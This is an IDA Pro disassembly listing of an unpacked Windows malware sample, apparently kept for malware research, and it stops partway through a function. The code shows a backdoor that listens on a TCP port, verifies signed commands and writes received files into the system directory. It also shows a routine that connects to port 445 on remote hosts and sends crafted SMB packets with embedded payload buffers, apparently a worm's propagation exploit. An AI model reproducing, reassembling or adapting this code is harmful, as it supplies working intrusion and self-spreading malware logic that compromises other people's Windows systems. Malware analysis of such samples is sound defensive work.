; ; +-------------------------------------------------------------------------+ ; | This file is generated by The Interactive Disassembler (IDA) | ; | Copyright (c) 2007 by DataRescue sa/nv, <ida@datarescue.com> | ; | Licensed to: SRI, 1 computer, std, 05/2007 | ; +-------------------------------------------------------------------------+ ; ; ; +-------------------------------------------------------------------------+ ; | This file is generated by The Interactive Disassembler (IDA) | ; | Copyright (c) 2007 by DataRescue sa/nv, <ida@datarescue.com> | ; | Licensed to: SRI, 1 computer, std, 05/2007 | ; +-------------------------------------------------------------------------+ ; ; Input MD5 : 359F965A086093789C196D4A32451F9C ; File Name : u:\work\359f965a086093789c196d4a32451f9c_unpacked.exe ; Format : Portable executable for 80386 (PE) ; Imagebase : 31100000 ; Section 1. (virtual address 00001000) ; Virtual size : 00005000 ( 20480.) ; Section size in file : 00005000 ( 20480.) ; Offset to raw data for section: 00001000 ; Flags E0000080: Bss Executable Readable Writable ; Alignment : default unicode macro page,string,zero irpc c,<string> db '&c', page endm ifnb <zero> dw zero endif endm .686p .mmx .model flat ; =========================================================================== ; Segment type: Pure code ; Segment permissions: Read/Write/Execute UPX0 segment para public 'CODE' use32 assume cs:UPX0 ;org 31101000h assume es:nothing, ss:nothing, ds:UPX0, fs:nothing, gs:nothing dword_31101000 dd 77DD590Bh ; DATA XREF: sub_3110345A+1Ar dword_31101004 dd 77DD59F0h ; DATA XREF: sub_3110345A+38r dword_31101008 dd 77DD23D7h ; DATA XREF: sub_31103401+3Er dword_3110100C dd 77DD22EAh ; DATA XREF: sub_311033CC+14r ; sub_31103401+1Dr dword_31101010 dd 77DD5C55h ; DATA XREF: sub_311033CC+24r dword_31101014 dd 77DD189Ah ; DATA XREF: sub_311033CC+2Dr ; sub_31103401+4Er ... dword_31101018 dd 77E2A571h ; DATA XREF: sub_31102E62+10Er dword_3110101C dd 77DE089Eh ; DATA XREF: sub_31101248+90r dword_31101020 dd 77DE07A3h ; DATA XREF: sub_31101248+A2r dword_31101024 dd 77DE0D79h ; DATA XREF: sub_31101248+C8r dword_31101028 dd 77DE0343h ; DATA XREF: sub_31101248+DBr ; sub_31101248+FDr dword_3110102C dd 77DE0AF0h ; DATA XREF: sub_3110122D+6r dword_31101030 dd 77DE042Eh ; DATA XREF: sub_3110122D+11r dword_31101034 dd 77DDEBA2h ; DATA XREF: sub_311011D9+2r dword_31101038 dd 77DE0BB2h ; DATA XREF: sub_311011D9+41r align 10h dword_31101040 dd 77E79E34h ; DATA XREF: sub_311037C2+Br dword_31101044 dd 77E7980Ah ; DATA XREF: sub_311037AE+Dr dword_31101048 dd 77E7A099h ; DATA XREF: sub_311036D8+15r dword_3110104C dd 77E76A2Eh ; DATA XREF: sub_311036D8+7Fr dword_31101050 dd 77E6BD13h ; DATA XREF: sub_3110360C+71r dword_31101054 dd 77E684C6h ; DATA XREF: sub_3110360C+B0r dword_31101058 dd 77EBB1E7h ; DATA XREF: sub_31103854r dword_3110105C dd 77EBA595h ; DATA XREF: sub_3110384Er dword_31101060 dd 77E616B4h ; DATA XREF: sub_311034AD+9Br dword_31101064 dd 77EBA6E9h ; DATA XREF: sub_31103848r dword_31101068 dd 77E73AB3h ; DATA XREF: sub_31102E62+41r dword_3110106C dd 77E73628h ; DATA XREF: UPX0:31102DF6r ; sub_3110360C+Fr dword_31101070 dd 77E75CB5h ; DATA XREF: UPX0:31102E20r ; sub_3110360C+C3r dword_31101074 dd 77E793EFh ; DATA XREF: sub_31102C74+6Er dword_31101078 dd 77E78B82h ; DATA XREF: sub_31102C74+92r dword_3110107C dd 77E777EFh ; DATA XREF: sub_31102C26+2Ar ; sub_3110318A+3Fr ... dword_31101080 dd 77E61BB8h ; DATA XREF: sub_31102B40+38r dword_31101084 dd 77E7C2C4h ; DATA XREF: sub_31102AC6+8r dword_31101088 dd 77E76432h, 77E7513Ch ; DATA XREF: sub_3110277D+14Cr ; sub_3110277D:loc_311029C3r ... dword_31101090 dd 77E74155h ; DATA XREF: UPX0:311024A3r ; sub_31102663+3Dr ... dword_31101094 dd 77E73167h ; DATA XREF: sub_311011C0+Fr ; UPX0:311025CBr ... dword_31101098 dd 77F5157Dh ; DATA XREF: sub_31101248:loc_3110131Ar ; sub_31101248:loc_31101329r ... dword_3110109C dd 77E77C4Ch ; DATA XREF: sub_31101248+1Er dword_311010A0 dd 77E61608h ; DATA XREF: sub_31101248+10r ; sub_31102405+Ar dword_311010A4 dd 77E77963h ; DATA XREF: sub_31101361+116r ; sub_31101582+66r ... dword_311010A8 dd 77E79D8Ch ; DATA XREF: sub_31101361+F2r ; sub_31102663+EDr dword_311010AC dd 77E7A837h ; DATA XREF: sub_31101361+83r ; sub_31102663+8Fr ... dword_311010B0 dd 77E73BEFh ; DATA XREF: sub_31101361+69r ; sub_31101651+4Fr ... dword_311010B4 dd 77E705C5h ; DATA XREF: sub_31101361+4Cr ; sub_31101361+14Br dword_311010B8 dd 77E704FCh ; DATA XREF: sub_31101361+3Fr ; sub_31101361+13Er ... dword_311010BC dd 77E73C49h ; DATA XREF: sub_311014E6+8Er ; sub_31102280+66r ... dword_311010C0 dd 77E74A3Bh ; DATA XREF: sub_311014E6+1Br ; sub_31102E62+4Cr dword_311010C4 dd 77E79D5Bh ; DATA XREF: sub_31101582+C2r ; sub_31102E4E+8r dword_311010C8 dd 77E7AC37h ; DATA XREF: sub_31101582+B1r ; sub_31102AD5+12r ... dword_311010CC dd 77E737DEh ; DATA XREF: sub_31101582+98r ; sub_31102E62+2Er dword_311010D0 dd 77E74672h ; DATA XREF: sub_31101651+253r ; sub_31101651+272r ... dword_311010D4 dd 77E61BE6h ; DATA XREF: sub_31101651+16Cr ; sub_31101E80+A4r ... dword_311010D8 dd 77E79C90h ; DATA XREF: sub_31101BB8+4Dr dword_311010DC dd 77E7A5FDh ; DATA XREF: sub_31101BB8+13r ; sub_31101C40+2Cr dword_311010E0 dd 77E805D8h ; DATA XREF: sub_31101BB8+Dr ; sub_31102E62+82r dword_311010E4 dd 77E61A90h ; DATA XREF: sub_31101C40+BCr dword_311010E8 dd 77E706B7h ; DATA XREF: sub_31101C40+8Ar ; sub_311034AD+92r dword_311010EC dd 77E79F93h ; DATA XREF: sub_31101C40+26r ; UPX0:31102DE6r dword_311010F0 dd 77E7751Ah ; DATA XREF: sub_31102280+13r ; sub_3110277D+1Er ... align 8 dword_311010F8 dd 77C41FA0h ; DATA XREF: sub_31103842r dword_311010FC dd 77C41FB0h ; DATA XREF: sub_3110383Cr ; --------------------------------------------------------------------------- loc_31101100: ; DATA XREF: UPX0:loc_31103836r mov al, 3Eh retn ; --------------------------------------------------------------------------- db 77h dword_31101104 dd 77C1BE00h ; DATA XREF: sub_3110277D+1F3r dword_31101108 dd 77C35280h ; DATA XREF: sub_31102405+24r ; sub_31102A98+22r ; --------------------------------------------------------------------------- loc_3110110C: ; DATA XREF: sub_31103830r xor [edx], bl retn 0D877h ; DATA XREF: UPX0:loc_31103820r ; --------------------------------------------------------------------------- db 1Ah, 0C2h, 77h dword_31101114 dd 77C43AB0h ; DATA XREF: sub_31101E80+13Br ; sub_311020C2+16r ... dword_31101118 dd 77C43500h ; DATA XREF: sub_31101D4B+37r ; sub_3110277D+B9r dword_3110111C dd 77C43710h ; DATA XREF: sub_311037E0r dword_31101120 dd 77C43490h ; DATA XREF: sub_311037DAr dword_31101124 dd 77C42E10h ; DATA XREF: sub_311037D4r dword_31101128 dd 77C3528Dh ; DATA XREF: sub_31101248+103r ; sub_31102217+Cr ... align 10h dword_31101130 dd 77D4C96Ah ; DATA XREF: sub_31101651+62r ; sub_31101E80+8Dr ... dword_31101134 dd 77D4456Bh ; DATA XREF: sub_31101C40+67r dword_31101138 dd 77D4BDCAh ; DATA XREF: sub_31101C40+5Dr dword_3110113C dd 77D45CBCh ; DATA XREF: sub_31101C40+7Ar dd 0 dword_31101144 dd 7620AFB6h ; DATA XREF: sub_31102663+18r dword_31101148 dd 762211EFh ; DATA XREF: sub_31102C10+8r ; sub_311032D9+2Br dword_3110114C dd 76214750h ; DATA XREF: sub_31102663+A9r dword_31101150 dd 7620BD61h ; DATA XREF: sub_31102663+DBr align 8 dword_31101158 dd 71AB12A7h ; DATA XREF: sub_31102FCD+5Br dword_3110115C dd 71AB41DAh ; DATA XREF: sub_31102DB8+10r dword_31101160 dd 71AB32CAh ; DATA XREF: sub_31102BD1+Cr dword_31101164 dd 71AB1740h ; DATA XREF: sub_31102BD1+17r dword_31101168 dd 71AB12F8h ; DATA XREF: sub_31102B96+7r dword_3110116C dd 71AB2BBFh ; DATA XREF: sub_31102B96+1Er ; sub_31102BD1+25r dword_31101170 dd 71AB1890h ; DATA XREF: sub_31102280+50r dword_31101174 dd 71AB401Ch ; DATA XREF: sub_31101651+44r dword_31101178 dd 71AB3E5Dh ; DATA XREF: sub_31101651+15Dr ; sub_31101E80+46r dword_3110117C dd 71AB8629h ; DATA XREF: sub_31101651+550r ; sub_31102C26+33r dword_31101180 dd 71AB3C22h ; DATA XREF: sub_31101582+10r ; sub_31101651+2Br ... dword_31101184 dd 71AB1746h ; DATA XREF: sub_31101582+38r ; sub_31101651+147r ... dword_31101188 dd 71AB3ECEh ; DATA XREF: sub_31101582+4Br ; sub_31102C74+100r ... dword_3110118C dd 71AB5DE2h ; DATA XREF: sub_31101582+60r ; sub_31102C74+10Dr ... dword_31101190 dd 71AB868Dh ; DATA XREF: sub_31101582+7Er ; sub_31102C74+120r ... dword_31101194 dd 71AB1A6Dh ; DATA XREF: sub_311014E6+86r ; sub_31101651+559r ... dword_31101198 dd 71AB5690h ; DATA XREF: sub_31101248+3Br ; sub_31101361+D9r ... dword_3110119C dd 71AB1AF4h ; DATA XREF: sub_31101248+111r ; sub_31101361+95r ... dd 2 dup(0) dword_311011A8 dd 0FFFFFFFFh, 0 ; DATA XREF: sub_31102E62+5o dd offset nullsub_1 align 10h ; =============== S U B R O U T I N E ======================================= sub_311011C0 proc near ; CODE XREF: sub_311014E6+32p push esi mov esi, ecx push offset aCont ; "cont" and dword ptr [esi], 0 lea eax, [esi+4] push eax call dword_31101094 ; lstrcpy mov eax, esi pop esi retn sub_311011C0 endp ; =============== S U B R O U T I N E ======================================= sub_311011D9 proc near ; CODE XREF: sub_311014E6+3Ap push ebx push ebp mov ebx, dword_31101034 push esi push edi xor ebp, ebp mov edi, ecx push ebp push 1 push ebp lea esi, [edi+10h] push ebp push esi call ebx ; CryptAcquireContextA test eax, eax jnz short loc_31101208 push 8 push 1 push ebp push ebp push esi call ebx ; CryptAcquireContextA test eax, eax jnz short loc_31101208 push 1 pop eax jmp short loc_31101228 ; --------------------------------------------------------------------------- loc_31101208: ; CODE XREF: sub_311011D9+1Bj ; sub_311011D9+28j add edi, 14h push edi push ebp push ebp push 114h push offset dword_31105000 push dword ptr [esi] call dword_31101038 ; CryptImportKey neg eax sbb eax, eax and al, 0FEh inc eax inc eax loc_31101228: ; CODE XREF: sub_311011D9+2Dj pop edi pop esi pop ebp pop ebx retn sub_311011D9 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_3110122D proc near ; CODE XREF: sub_311014E6+7Ep push esi mov esi, ecx push dword ptr [esi+14h] call dword_3110102C ; CryptDestroyKey push 0 push dword ptr [esi+10h] call dword_31101030 ; CryptReleaseContext xor eax, eax pop esi retn sub_3110122D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_31101248 proc near ; CODE XREF: sub_311014E6+46p var_28 = byte ptr -28h var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 28h push ebx push esi lea eax, [ebp+var_28] push edi mov [ebp+var_8], ecx push eax call dword_311010A0 ; GetSystemTime lea eax, [ebp+var_18] push eax lea eax, [ebp+var_28] push eax call dword_3110109C ; SystemTimeToFileTime mov esi, 4000h push esi call sub_311037AE mov ebx, [ebp+arg_0] pop ecx mov edi, eax push 0 push esi push edi push dword ptr [ebx] call dword_31101198 ; recv lea esi, [edi+8] push 8 lea eax, [ebp+var_10] push esi push eax call sub_311037D4 ; memcpy mov ecx, [ebp+var_10] mov eax, [ebp+var_C] add esp, 0Ch sub ecx, [ebp+var_18] sbb eax, [ebp+var_14] cmp eax, 8 jg short loc_31101329 jl short loc_311012B6 cmp ecx, 61C46800h ja short loc_31101329 loc_311012B6: ; CODE XREF: sub_31101248+64j cmp eax, 0FFFFFFF7h jl short loc_31101329 jg short loc_311012C5 cmp ecx, 9E3B9800h jb short loc_31101329 loc_311012C5: ; CODE XREF: sub_31101248+73j lea eax, [ebp+var_4] push eax mov eax, [ebp+var_8] push 0 push 0 push 8003h push dword ptr [eax+10h] call dword_3110101C ; CryptCreateHash test eax, eax jz short loc_3110131A push 0 push 8 push esi push [ebp+var_4] call dword_31101020 ; CryptHashData test eax, eax jz short loc_3110131A mov eax, [edi+10h] cmp eax, 2800h ja short loc_3110131A mov ecx, [ebp+var_8] xor esi, esi push esi push esi push dword ptr [ecx+14h] push eax lea eax, [edi+14h] push eax push [ebp+var_4] call dword_31101024 ; CryptVerifySignatureA test eax, eax jnz short loc_31101342 loc_3110131A: ; CODE XREF: sub_31101248+98j ; sub_31101248+AAj ... call dword_31101098 ; RtlGetLastWin32Error push [ebp+var_4] call dword_31101028 ; CryptDestroyHash loc_31101329: ; CODE XREF: sub_31101248+62j ; sub_31101248+6Cj ... call dword_31101098 ; RtlGetLastWin32Error push 2 pop esi loc_31101332: ; CODE XREF: sub_31101248+117j push edi call sub_311037C2 pop ecx mov eax, esi pop edi pop esi pop ebx leave retn 4 ; --------------------------------------------------------------------------- loc_31101342: ; CODE XREF: sub_31101248+D0j push [ebp+var_4] call dword_31101028 ; CryptDestroyHash call dword_31101128 ; rand push esi push 4 push edi mov [edi], eax push dword ptr [ebx] call dword_3110119C ; send jmp short loc_31101332 sub_31101248 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_31101361 proc near ; CODE XREF: sub_311014E6+6Ap var_220 = byte ptr -220h var_118 = byte ptr -118h var_10 = byte ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 220h cmp [ebp+arg_8], 8 push ebx push esi push edi jge short loc_31101380 push 0 push [ebp+arg_8] push [ebp+arg_4] jmp loc_311014D8 ; --------------------------------------------------------------------------- loc_31101380: ; CODE XREF: sub_31101361+10j mov esi, [ebp+arg_4] mov ebx, 104h mov eax, [esi] lea edi, [esi+8] test eax, eax mov [ebp+arg_4], eax jnz loc_31101491 lea eax, [ebp+var_220] push ebx push eax call dword_311010B8 ; GetSystemDirectoryA lea eax, [ebp+var_220] push eax call dword_311010B4 ; SetCurrentDirectoryA mov eax, [edi] push ebx mov [ebp+arg_8], eax mov eax, [edi+4] mov [ebp+var_4], eax lea eax, [edi+8] push eax lea eax, [ebp+var_118] push eax call dword_311010B0 ; lstrcpyn xor eax, eax push eax push eax push 2 push eax push eax lea eax, [ebp+var_118] push 40000000h push eax call dword_311010AC ; CreateFileA cmp eax, 0FFFFFFFFh mov [ebp+var_C], eax jz loc_3110147F mov ebx, dword_3110119C push 0 push 8 push esi push [ebp+arg_0] mov dword ptr [esi+4], 1 call ebx ; send mov eax, [ebp+arg_8] xor edx, edx div [ebp+var_4] xor edx, edx mov [ebp+arg_4], eax mov eax, [ebp+arg_8] div [ebp+var_4] test edx, edx jz short loc_31101427 inc [ebp+arg_4] loc_31101427: ; CODE XREF: sub_31101361+C1j and [ebp+var_8], 0 cmp [ebp+arg_4], 0 jle short loc_31101474 loc_31101431: ; CODE XREF: sub_31101361+111j push 0 push [ebp+var_4] push edi push [ebp+arg_0] call dword_31101198 ; recv cmp eax, 0FFFFFFFFh mov [ebp+arg_8], eax jz short loc_31101474 lea ecx, [ebp+var_10] push 0 push ecx push eax push edi push [ebp+var_C] call dword_311010A8 ; WriteFile mov eax, [ebp+arg_8] push 0 push 8 push esi push [ebp+arg_0] mov [esi+4], eax call ebx ; send inc [ebp+var_8] mov eax, [ebp+var_8] cmp eax, [ebp+arg_4] jl short loc_31101431 loc_31101474: ; CODE XREF: sub_31101361+CEj ; sub_31101361+E5j push [ebp+var_C] call dword_311010A4 ; CloseHandle jmp short loc_311014E1 ; --------------------------------------------------------------------------- loc_3110147F: ; CODE XREF: sub_31101361+8Fj and dword ptr [esi+4], 0 push 0 push 8 push esi push [ebp+arg_0] call dword_3110119C ; send loc_31101491: ; CODE XREF: sub_31101361+31j cmp [ebp+arg_4], 1 jnz short loc_311014C0 lea eax, [ebp+var_118] push ebx push eax call dword_311010B8 ; GetSystemDirectoryA lea eax, [ebp+var_118] push eax call dword_311010B4 ; SetCurrentDirectoryA push 0 push 4 push esi push [ebp+arg_0] call dword_3110119C ; send loc_311014C0: ; CODE XREF: sub_31101361+134j cmp [ebp+arg_4], 3 jnz short loc_311014E1 push dword ptr [edi] add edi, 4 push edi call sub_31102B40 pop ecx pop ecx push 0 push 4 push esi loc_311014D8: ; CODE XREF: sub_31101361+1Aj push [ebp+arg_0] call dword_3110119C ; send loc_311014E1: ; CODE XREF: sub_31101361+11Cj ; sub_31101361+163j pop edi pop esi pop ebx leave retn sub_31101361 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_311014E6 proc near ; DATA XREF: sub_31101582+AAo var_30 = byte ptr -30h var_18 = dword ptr -18h var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 30h push esi push edi call sub_31102A98 mov esi, [ebp+arg_0] push 6 pop ecx lea edi, [ebp+var_18] rep movsd push [ebp+var_4] call dword_311010C0 ; SetEvent mov esi, 10000h push esi call sub_311037AE pop ecx mov edi, eax lea ecx, [ebp+var_30] call sub_311011C0 lea ecx, [ebp+var_30] call sub_311011D9 lea eax, [ebp+var_18] lea ecx, [ebp+var_30] push eax call sub_31101248 test eax, eax jnz short loc_3110155A loc_31101535: ; CODE XREF: sub_311014E6+72j push 0 push esi push edi push [ebp+var_18] call dword_31101198 ; recv cmp eax, 0FFFFFFFFh jz short loc_3110155A test eax, eax jz short loc_3110155A push eax push edi push [ebp+var_18] call sub_31101361 add esp, 0Ch jmp short loc_31101535 ; --------------------------------------------------------------------------- loc_3110155A: ; CODE XREF: sub_311014E6+4Dj ; sub_311014E6+5Fj ... push edi call sub_311037C2 pop ecx lea ecx, [ebp+var_30] call sub_3110122D push [ebp+var_18] call dword_31101194 ; closesocket push 0 call dword_311010BC ; ExitThread pop edi xor eax, eax pop esi leave retn 4 sub_311014E6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn bp-based frame sub_31101582 proc near ; DATA XREF: sub_31102E62+ECo var_44 = dword ptr -44h var_40 = byte ptr -40h var_30 = dword ptr -30h var_2C = byte ptr -2Ch var_1C = word ptr -1Ch var_1A = word ptr -1Ah var_18 = dword ptr -18h var_C = byte ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 44h push ebx push esi xor esi, esi push edi push esi push 1 push 2 call dword_31101180 ; socket mov [ebp+var_4], eax push 10h lea eax, [ebp+var_1C] push esi push eax call sub_311037DA ; memset add esp, 0Ch mov [ebp+var_1C], 2 mov [ebp+var_18], esi loc_311015B3: ; CODE XREF: sub_31101582+59j lea eax, [esi+0BFBh] push eax call dword_31101184 ; htons mov [ebp+var_1A], ax lea eax, [ebp+var_1C] push 10h push eax push [ebp+var_4] call dword_31101188 ; bind test eax, eax jz short loc_311015DD inc esi cmp esi, 0Ah jl short loc_311015B3 loc_311015DD: ; CODE XREF: sub_31101582+53j push 32h push [ebp+var_4] call dword_3110118C ; listen mov ebx, dword_311010A4 loc_311015EE: ; CODE XREF: sub_31101582+CDj lea eax, [ebp+var_8] mov [ebp+var_8], 10h push eax lea eax, [ebp+var_2C] push eax push [ebp+var_4] call dword_31101190 ; accept lea esi, [ebp+var_2C] lea edi, [ebp+var_40] mov [ebp+var_44], eax movsd movsd movsd movsd xor esi, esi push esi push esi push 1 push esi call dword_311010CC ; CreateEventA mov [ebp+var_30], eax lea eax, [ebp+var_C] push eax lea eax, [ebp+var_44] push esi push eax push offset sub_311014E6 push esi push esi call dword_311010C8 ; CreateThread push eax call ebx ; CloseHandle push 3E8h push [ebp+var_30] call dword_311010C4 ; WaitForSingleObject push [ebp+var_30] call ebx ; CloseHandle jmp short loc_311015EE sub_31101582 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_31101651 proc near ; CODE XREF: sub_31103126+36p ; sub_3110318A+48p ... var_89E4 = byte ptr -89E4h var_897C = byte ptr -897Ch var_690C = byte ptr -690Ch var_689C = byte ptr -689Ch var_5DD8 = byte ptr -5DD8h var_4834 = byte ptr -4834h var_4833 = byte ptr -4833h var_37A0 = byte ptr -37A0h var_2CDC = byte ptr -2CDCh var_2CDB = byte ptr -2CDBh var_2CD8 = byte ptr -2CD8h var_24F4 = byte ptr -24F4h var_24E4 = byte ptr -24E4h var_21C0 = byte ptr -21C0h var_21BC = byte ptr -21BCh var_21B0 = byte ptr -21B0h var_1F28 = byte ptr -1F28h var_1EAC = byte ptr -1EACh var_16DC = byte ptr -16DCh var_1231 = byte ptr -1231h var_F44 = byte ptr -0F44h var_EA4 = byte ptr -0EA4h var_798 = dword ptr -798h var_788 = byte ptr -788h var_774 = byte ptr -774h var_730 = byte ptr -730h var_134 = byte ptr -134h var_133 = byte ptr -133h var_E4 = byte ptr -0E4h var_E1 = byte ptr -0E1h var_B7 = byte ptr -0B7h var_B5 = byte ptr -0B5h var_B4 = byte ptr -0B4h var_6C = byte ptr -6Ch var_4C = byte ptr -4Ch var_24 = word ptr -24h var_22 = word ptr -22h var_20 = dword ptr -20h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_6 = byte ptr -6 var_5 = byte ptr -5 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, 89E4h call sub_311037F0 mov eax, dword_31105B0C push ebx push edi push 1 pop edi xor ebx, ebx mov [ebp+var_14], eax mov eax, dword_31105B10 push ebx push edi push 2 mov [ebp+var_10], eax mov [ebp+var_C], edi call dword_31101180 ; socket cmp eax, 0FFFFFFFFh mov [ebp+var_4], eax jz loc_31101BB1 push esi mov esi, [ebp+arg_0] push 1Dh push esi call dword_31101174 ; inet_ntoa push eax lea eax, [ebp+var_6C] push eax call dword_311010B0 ; lstrcpyn lea eax, [ebp+var_6C] push eax lea eax, [ebp+var_4C] push offset loc_31105B00 push eax call dword_31101130 ; wsprintfA add esp, 0Ch xor ecx, ecx lea eax, [ebp+var_133] loc_311016C4: ; CODE XREF: sub_31101651+83j mov dl, [ebp+ecx+var_4C] mov [eax-1], dl and byte ptr [eax], 0 inc ecx inc eax inc eax cmp ecx, 28h jl short loc_311016C4 push 60h lea eax, [ebp+var_E4] push offset dword_31105614 push eax call sub_311037D4 ; memcpy lea eax, [ebp+var_4C] push eax call sub_311037E0 ; strlen shl eax, 1 push eax lea eax, [ebp+var_134] push eax lea eax, [ebp+var_B4] push eax call sub_311037D4 ; memcpy add esp, 1Ch lea eax, [ebp+var_4C] push 9 push (offset aC+3) push eax call sub_311037E0 ; strlen pop ecx lea eax, [ebp+eax*2+var_B5] push eax call sub_311037D4 ; memcpy lea eax, [ebp+var_4C] push eax call sub_311037E0 ; strlen add al, 1Ah push edi shl al, 1 mov [ebp+var_5], al lea eax, [ebp+var_5] push eax lea eax, [ebp+var_E1] push eax call sub_311037D4 ; memcpy lea eax, [ebp+var_4C] push eax call sub_311037E0 ; strlen shl al, 1 add al, 9 push edi mov [ebp+var_6], al lea eax, [ebp+var_6] push eax lea eax, [ebp+var_B7] push eax call sub_311037D4 ; memcpy push 0E29h lea eax, [ebp+var_1F28] push 31h push eax call sub_311037DA ; memset push 10h lea eax, [ebp+var_24] push ebx push eax call sub_311037DA ; memset add esp, 44h mov [ebp+var_24], 2 push 1BDh call dword_31101184 ; htons mov [ebp+var_22], ax lea eax, [ebp+var_24] push 10h push eax push [ebp+var_4] mov [ebp+var_20], esi call dword_31101178 ; connect cmp eax, 0FFFFFFFFh jz loc_31101BA7 mov esi, dword_311010D4 mov edi, 0C8h push edi call esi ; Sleep push ebx mov ebx, dword_3110119C push 89h push offset dword_311053FC push [ebp+var_4] call ebx ; send push edi call esi ; Sleep push 0 lea eax, [ebp+var_774] push 640h push eax push [ebp+var_4] call dword_31101198 ; recv cmp eax, 0FFFFFFFFh jz loc_31101B9C push 0 push 0A8h push offset dword_31105488 push [ebp+var_4] call ebx ; send push edi call esi ; Sleep push 0 lea eax, [ebp+var_774] push 640h push eax push [ebp+var_4] call dword_31101198 ; recv cmp eax, 0FFFFFFFFh jz loc_31101B9C push 0 push 0DEh push offset dword_31105534 push [ebp+var_4] call ebx ; send push edi call esi ; Sleep push 0 lea eax, [ebp+var_774] push 640h push eax push [ebp+var_4] call dword_31101198 ; recv cmp eax, 0FFFFFFFFh jz loc_31101B9C cmp eax, 46h jl loc_31101B9C cmp [ebp+var_730], 31h jnz loc_31101A47 and [ebp+arg_0], 0 push 7D0h lea eax, [ebp+var_F44] push 90h push eax call sub_311037DA ; memset add esp, 0Ch push offset loc_31105120 call dword_311010D0 ; lstrlen push eax lea eax, [ebp+var_EA4] push offset loc_31105120 push eax call sub_311037D4 ; memcpy add esp, 0Ch lea eax, [ebp+var_14] push eax call dword_311010D0 ; lstrlen push eax lea eax, [ebp+var_14] push eax lea eax, [ebp+var_788] push eax call sub_311037D4 ; memcpy mov eax, dword_31105A40 add esp, 0Ch mov [ebp+var_798], eax loc_311018E8: ; CODE XREF: sub_31101651+4E1j movsx eax, [ebp+var_5] add eax, 4 push 0 push eax lea eax, [ebp+var_E4] push eax push [ebp+var_4] call ebx ; send push edi call esi ; Sleep push 0 lea eax, [ebp+var_774] push 640h push eax push [ebp+var_4] call dword_31101198 ; recv cmp eax, 0FFFFFFFFh jz loc_31101B9C push 0 push 68h push offset dword_31105678 push [ebp+var_4] call ebx ; send push edi call esi ; Sleep push 0 lea eax, [ebp+var_774] push 640h push eax push [ebp+var_4] call dword_31101198 ; recv cmp eax, 0FFFFFFFFh jz loc_31101B9C push 0 push 0A0h push offset dword_311056E4 push [ebp+var_4] call ebx ; send push edi call esi ; Sleep push 0 lea eax, [ebp+var_774] push 640h push eax push [ebp+var_4] call dword_31101198 ; recv cmp eax, 0FFFFFFFFh jz loc_31101B9C cmp [ebp+arg_0], 0 jz loc_31101B37 push 68h lea eax, [ebp+var_89E4] push offset dword_3110589C push eax call sub_311037D4 ; memcpy lea eax, [ebp+var_4834] push 1B5Ah push eax lea eax, [ebp+var_897C] push eax call sub_311037D4 ; memcpy push 70h lea eax, [ebp+var_690C] push offset dword_31105908 push eax call sub_311037D4 ; memcpy lea eax, [ebp+var_37A0] push 0A5Eh push eax lea eax, [ebp+var_689C] push eax call sub_311037D4 ; memcpy push 84h lea eax, [ebp+var_5DD8] push offset dword_3110597C push eax call sub_311037D4 ; memcpy add esp, 3Ch lea eax, [ebp+var_89E4] push 0 push 10FCh push eax push [ebp+var_4] call ebx ; send push edi call esi ; Sleep push 0 lea eax, [ebp+var_774] push 640h push eax push [ebp+var_4] call dword_31101198 ; recv cmp eax, 0FFFFFFFFh jz loc_31101B9C push 0 push 0FDCh lea eax, [ebp+var_690C] jmp loc_31101B8F ; --------------------------------------------------------------------------- loc_31101A47: ; CODE XREF: sub_31101651+22Bj push 0DACh lea eax, [ebp+var_2CD8] push 90h push eax mov [ebp+arg_0], 1 call sub_311037DA ; memset push 4 lea eax, [ebp+var_24F4] push offset dword_31105A7C push eax call sub_311037D4 ; memcpy push offset loc_31105120 call sub_311037E0 ; strlen push eax lea eax, [ebp+var_24E4] push offset loc_31105120 push eax call sub_311037D4 ; memcpy push 4 lea eax, [ebp+var_21C0] push offset loc_31105AF8 push eax call sub_311037D4 ; memcpy push 4 lea eax, [ebp+var_21BC] push offset dword_31105A7C push eax call sub_311037D4 ; memcpy add esp, 40h push offset loc_31105120 call sub_311037E0 ; strlen push eax lea eax, [ebp+var_21B0] push offset loc_31105120 push eax call sub_311037D4 ; memcpy add esp, 10h xor ecx, ecx lea eax, [ebp+var_4833] loc_31101AE3: ; CODE XREF: sub_31101651+4A8j mov dl, [ebp+ecx+var_2CD8] mov [eax-1], dl and byte ptr [eax], 0 inc ecx inc eax inc eax cmp ecx, 0DACh jl short loc_31101AE3 and [ebp+var_2CDC], 0 and [ebp+var_2CDB], 0 push 1C52h lea eax, [ebp+var_89E4] push 31h push eax call sub_311037DA ; memset push 1C52h lea eax, [ebp+var_690C] push 31h push eax call sub_311037DA ; memset add esp, 18h jmp loc_311018E8 ; --------------------------------------------------------------------------- loc_31101B37: ; CODE XREF: sub_31101651+339j push 7Ch lea eax, [ebp+var_1F28] push offset dword_31105788 push eax call sub_311037D4 ; memcpy lea eax, [ebp+var_F44] push 7D0h push eax lea eax, [ebp+var_1EAC] push eax call sub_311037D4 ; memcpy push 90h lea eax, [ebp+var_16DC] push offset dword_31105808 push eax call sub_311037D4 ; memcpy add esp, 24h and [ebp+var_1231], 0 lea eax, [ebp+var_1F28] push 0 push 0CF8h loc_31101B8F: ; CODE XREF: sub_31101651+3F1j push eax push [ebp+var_4] call ebx ; send push edi call esi ; Sleep and [ebp+var_C], 0 loc_31101B9C: ; CODE XREF: sub_31101651+1ADj ; sub_31101651+1E1j ... push 2 push [ebp+var_4] call dword_3110117C ; shutdown loc_31101BA7: ; CODE XREF: sub_31101651+166j push [ebp+var_4] call dword_31101194 ; closesocket pop esi 